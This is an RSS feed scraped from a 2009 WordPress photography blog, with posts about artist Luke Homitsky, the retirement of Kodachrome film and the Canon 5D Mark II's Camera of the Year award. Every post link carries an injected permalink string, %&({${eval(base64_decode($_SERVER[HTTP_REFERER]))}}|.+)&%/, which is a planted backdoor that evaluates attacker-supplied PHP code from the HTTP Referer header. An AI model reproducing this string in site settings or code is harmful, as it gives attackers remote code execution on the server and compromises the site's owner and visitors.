Craig Riddington Photography » News http://www.craigriddington.com/wordpress The real voyage of discovery consists not in seeking new landscapes but in having new eyes - M. Proust Fri, 31 Jul 2009 10:59:48 +0000 http://wordpress.org/?v=2.8.2 en hourly 1 The Art of Luke Homitsky http://www.craigriddington.com/wordpress/2009/07/29/the-art-of-luke-homitsky/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.craigriddington.com/wordpress/2009/07/29/the-art-of-luke-homitsky/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 29 Jul 2009 05:39:39 +0000 Craig Riddington http://www.craigriddington.com/wordpress/?p=40 On a recent trip to Shanghai I was very fortunate to meet the artist Luke Homitsky.   It was really enjoyable chatting with him over a beer and hearing about some of his recent projects.  I can only take my hat off to him when I listened to him describe the levels of endurance that he needed to carry out some of his performance art.  There are plenty of details about Luke’s performance art plus images of some of his brilliant abstract paintings on his website at http://www.lukehomitsky.com  It’s definitely worth the visit.

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Kodachrome

Eastman Kodak Company announced today that it will retire its Kodachrome colour film this year, concluding its 74-year run as a photography icon. While Kodachrome, which was born in 1935, was not the world’s first colour film using a subtractive method – brands like Gasparcolor had been around for a couple of years by then -, it was unquestionably the first commercially viable one, which put an end to the rule of additive processes like Autochrome or Dufaycolor that had dominated the colour film/plate market for the first couple of decades of the twentieth century. Kodachrome went on to become an iconic film used by many great photographers working for National Geographic and other publications. However, sales have declined dramatically in recent years, as people went digital or turned to newer films. Kodak claims that today it represents “just a fraction of one percent” of their total sales of still-picture films. Steve McCurry, the photojournalist who captured the legendary portrait of the Afghan girl on Kodachrome a quarter of a century ago, will have the privilege of shooting one of the last rolls.

]]> http://www.craigriddington.com/wordpress/2009/06/21/kodachrome-end-of-an-era/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Canon 5D II takes out top award http://www.craigriddington.com/wordpress/2009/05/15/canon-5d-ii-takes-out-top-award/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.craigriddington.com/wordpress/2009/05/15/canon-5d-ii-takes-out-top-award/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 15 May 2009 06:31:56 +0000 Craig Riddington http://www.craigriddington.com/wordpress/?p=37 Canon 5DII

Canon 5DII

Source: www.canon.com/news/2009

TOKYO, May 15, 2009—Canon Inc. and Canon Marketing Japan Inc. today announced that the Canon EOS 5D Mark II digital SLR camera, equipped with a 21.1-megapixel 35mm full-frame CMOS sensor and capable of recording full HD video, has been named “Camera of the Year” in the Camera Grand Prix 2009.

The Camera Grand Prix, the most prestigious award in Japan’s photo industry, is sponsored by the Camera Journal Press Club Japan (CJPC), comprising thirteen photography and camera publications (as of May 2009). The Camera Grand Prix selection committee is made up of chief editors of CJPC member publications, academic experts, technical writers, professional photographers, and representatives from photo-related organizations. The coveted Camera of the Year 2009 was awarded to the most impressive camera released in Japan between April 1, 2008, and March 31, 2009.

The Camera Grand Prix, founded in 1984, marks its 26th anniversary this year. The 2009 Camera of the Year award marks the eighth time that a Canon camera has earned top honors at the Camera Grand Prix, and the first since the top prize went to the EOS-1Ds, the industry’s first professional-model digital SLR camera to feature a 35mm full-frame CMOS sensor.

This year’s title-winning EOS 5D Mark II was recognized for its range of high-performance features, including a newly developed full-size 21.1-megapixel CMOS sensor, the next-generation DIGIC 4 image processor and a sophisticated Live View function, along with its advanced image quality and ease of use. Additionally, the model earned high marks as the world’s first SLR camera to enable the recording of full HD video as well as for its outstanding cost performance.

The Canon EOS 5D Mark II was also recently named “Best Digital SLR Expert in 2009″ in Europe by the Technical Image Press Association (TIPA), representing 29 photography and imaging magazines across 13 European countries.

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